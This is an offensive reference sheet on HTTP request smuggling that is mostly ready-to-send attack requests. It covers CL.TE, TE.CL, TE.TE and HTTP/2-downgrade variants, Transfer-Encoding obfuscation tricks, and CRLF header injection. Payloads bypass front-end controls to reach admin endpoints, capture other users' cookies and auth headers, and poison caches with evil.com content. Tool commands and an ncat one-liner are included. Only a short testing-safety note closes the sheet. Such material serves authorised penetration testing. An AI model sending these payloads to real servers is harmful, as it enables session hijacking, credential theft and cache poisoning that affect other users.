HTTP-SMUGGLING
Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.
Techniques for exploiting discrepancies in how front-end and back-end servers parse HTTP request boundaries.
FUNDAMENTALS#
Concept:
- Front-end (proxy/CDN/WAF) and back-end disagree on request boundaries
- Attacker crafts a request that is parsed as ONE request by front-end
but as TWO requests by back-end
- The "smuggled" portion is prepended to the next legitimate user's request
Two Key Headers:
Content-Length (CL): specifies body size in bytes
Transfer-Encoding (TE): chunked encoding, body sent in chunks
HTTP/1.1 RFC:
- If both CL and TE are present, TE should take precedence
- But implementations vary, creating smuggling opportunities
CL.TE (FRONT-END USES CL, BACK-END USES TE)#
Concept:
- Front-end reads Content-Length to determine request boundary
- Back-end reads Transfer-Encoding: chunked
- Smuggled data appears after the chunked body terminator
Basic Payload:
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
# Front-end: sends 13 bytes of body (includes "0\r\n\r\nSMUGGLED")
# Back-end: reads chunked body, sees 0 (end), treats "SMUGGLED" as next request
Detection:
# Timing-based detection
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked
1
Z
Q
# If CL.TE: front-end sends 4 bytes immediately
# Back-end reads chunked, waits for next chunk -> timeout/delay
# Delay indicates CL.TE vulnerability
Exploitation - Bypass Front-End Security:
POST / HTTP/1.1
Host: target.com
Content-Length: 71
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: target.com
Content-Length: 10
x=
# The smuggled GET /admin request bypasses front-end access controls
Exploitation - Capture Other Users' Requests:
POST / HTTP/1.1
Host: target.com
Content-Length: 130
Transfer-Encoding: chunked
0
POST /log HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 500
data=
# The next user's request is appended to data= parameter
# Their headers (including cookies/auth) are captured
TE.CL (FRONT-END USES TE, BACK-END USES CL)#
Concept:
- Front-end reads Transfer-Encoding: chunked
- Back-end reads Content-Length
- Smuggled data is in the chunked body but beyond Content-Length boundary
Basic Payload:
POST / HTTP/1.1
Host: target.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
# Front-end: reads chunked (8 bytes "SMUGGLED", then 0 terminator)
# Back-end: reads 3 bytes of body ("8\r\n"), treats rest as new request
Detection:
POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked
0
X
# If TE.CL: front-end reads chunked (0 = end, sends immediately)
# Back-end reads CL=6, waits for remaining bytes -> timeout/delay
Exploitation - Request Hijacking:
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked
a1
GET /admin/delete?user=victim HTTP/1.1
Host: target.com
Foo: bar
0
# Front-end sends everything (chunked)
# Back-end reads 4 bytes, treats rest as new request
# Smuggled admin request executes on back-end
TE.TE (BOTH USE TE, BUT DIFFER ON OBFUSCATION)#
Concept:
- Both servers use Transfer-Encoding, but one can be tricked
into not recognizing it via obfuscation
- The tricked server falls back to Content-Length
Obfuscation Techniques:
Transfer-Encoding: chunked
Transfer-Encoding : chunked # Space before colon
Transfer-Encoding: xchunked # Invalid value
Transfer-Encoding: chunked\r\n # Extra whitespace
Transfer-encoding: chunked # Lowercase
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding:[tab]chunked # Tab instead of space
X: X[\n]Transfer-Encoding: chunked # Header injection via newline
Transfer-Encoding
: chunked # Line folding (obs-fold)
Transfer-Encoding: chunk # Truncated value
Example Payload:
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked
Transfer-encoding: x
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
# One server processes chunked, the other falls back to CL
DETECTION TECHNIQUES#
Timing-Based:
# Send request that causes timeout if vulnerable
# CL.TE detection: short CL, incomplete chunk
# TE.CL detection: complete chunk, short CL
Differential Response:
# Smuggle a request that causes a distinctive response
# If subsequent request gets unexpected response -> confirmed
# Smuggle a 404-triggering request
POST / HTTP/1.1
Host: target.com
Content-Length: 49
Transfer-Encoding: chunked
0
GET /hopefully-nonexistent HTTP/1.1
Foo: bar
# If next legitimate request gets 404 -> smuggling confirmed
Using Burp Suite:
# Scanner automatically detects smuggling
# Extensions: HTTP Request Smuggler
# Right-click -> Extensions -> HTTP Request Smuggler -> Smuggle probe
Automated Detection:
# smuggler.py
python3 smuggler.py -u https://target.com
# h2csmuggler (HTTP/2 cleartext)
python3 h2csmuggler.py -x https://target.com
EXPLOITATION SCENARIOS#
1. Bypass Front-End Security Controls:
# Access restricted endpoints via smuggled request
# Bypass WAF rules by hiding malicious payload in smuggled request
# Bypass IP-based access controls
2. Poison Web Cache:
# Smuggle a request that causes the cache to store attacker content
POST / HTTP/1.1
Host: target.com
Content-Length: 130
Transfer-Encoding: chunked
0
GET /static/main.js HTTP/1.1
Host: evil.com
Content-Length: 10
x=
# Back-end processes smuggled GET, returns evil.com content
# Cache stores it for /static/main.js
# All users get malicious JS
3. Capture User Credentials:
# Smuggle a POST to a logging endpoint with large Content-Length
# Next user's request (with cookies/tokens) is appended to the body
# Retrieve captured data from the logging endpoint
4. Reflect XSS Without User Interaction:
# Smuggle a request with XSS payload
# Next user's response contains the reflected XSS
# No phishing link needed
5. Open Redirect via Host Header:
# Smuggle request with different Host header
# Backend returns redirect to attacker domain
# Next user follows the cached redirect
6. Request Hijacking:
# Smuggle incomplete request with victim's session
# Victim's next request completes the smuggled request
# Attacker's action performed with victim's credentials
H2.CL SMUGGLING (HTTP/2 DOWNGRADE)#
Concept:
- Front-end speaks HTTP/2, back-end speaks HTTP/1.1
- Front-end downgrades HTTP/2 to HTTP/1.1 for back-end
- HTTP/2 does not use Content-Length for framing (uses frames)
- But CL header may be forwarded to back-end in the downgrade
Attack:
# Send HTTP/2 request with CL header that disagrees with body
:method: POST
:path: /
:authority: target.com
content-length: 0
GET /admin HTTP/1.1
Host: target.com
# HTTP/2 frame contains the full body (including smuggled request)
# Front-end forwards to back-end as HTTP/1.1 with CL: 0
# Back-end reads CL: 0, treats rest as new request
H2.TE Smuggling:
# Send HTTP/2 request with Transfer-Encoding header
:method: POST
:path: /
:authority: target.com
transfer-encoding: chunked
0
GET /admin HTTP/1.1
Host: target.com
HTTP/2 Exclusive Vectors:
# Pseudo-header injection
:method: GET / HTTP/1.1\r\nHost: evil.com\r\n\r\nGET
:path: / HTTP/1.1\r\nTransfer-Encoding: chunked
# Header name injection (HTTP/2 allows : in header values)
foo: bar\r\nTransfer-Encoding: chunked
HTTP/2 Request Tunneling:
# When front-end does not downgrade but tunnels
# Inject complete HTTP/1.1 requests in HTTP/2 headers
# CRLF injection in HTTP/2 header values
TOOLS AND PAYLOADS#
HTTP Request Smuggler (Burp Extension):
- Automated detection and exploitation
- Right-click -> Extensions -> HTTP Request Smuggler
- Generates probe requests for CL.TE, TE.CL, TE.TE
smuggler.py:
# Command line smuggling detection
python3 smuggler.py -u https://target.com
python3 smuggler.py -u https://target.com -m POST
h2csmuggler:
# HTTP/2 cleartext smuggling
python3 h2csmuggler.py -x https://target.com -t /admin
Defparam's Smuggler:
# Multiple payload mutations
python3 smuggler.py -u https://target.com --timeout 5
Manual Testing with curl:
# CL.TE test
printf 'POST / HTTP/1.1\r\nHost: target.com\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nX' | \
ncat --ssl target.com 443
Burp Repeater Tips:
# Disable "Update Content-Length" in Repeater settings
# This allows sending mismatched CL values
# Use \r\n explicitly in payloads
# Send request multiple times to confirm (poison builds up)
IMPORTANT NOTES#
Testing Safely:
- Smuggling affects OTHER users' requests
- Test carefully in production environments
- Use unique identifiers to detect your own smuggled requests
- Prefer staging/pre-production environments
- Document all testing for responsible disclosure
Common Pitfalls:
- Results may be intermittent (depends on connection reuse)
- Need to send poisoning request and probe request on same connection
- Some CDNs/proxies are not vulnerable (they normalize TE/CL)
- HTTP/2 end-to-end is generally not vulnerable to classic smuggling
Prerequisites:
- Front-end must reuse back-end connections (connection pooling)
- Front-end and back-end must disagree on request parsing
- HTTP/1.1 connection (or HTTP/2 with downgrading)
Indicators of Vulnerability:
- Multiple layers of proxies/load balancers
- Mix of HTTP/1.1 and HTTP/2
- Custom or legacy proxy implementations
- CDN -> origin server architectures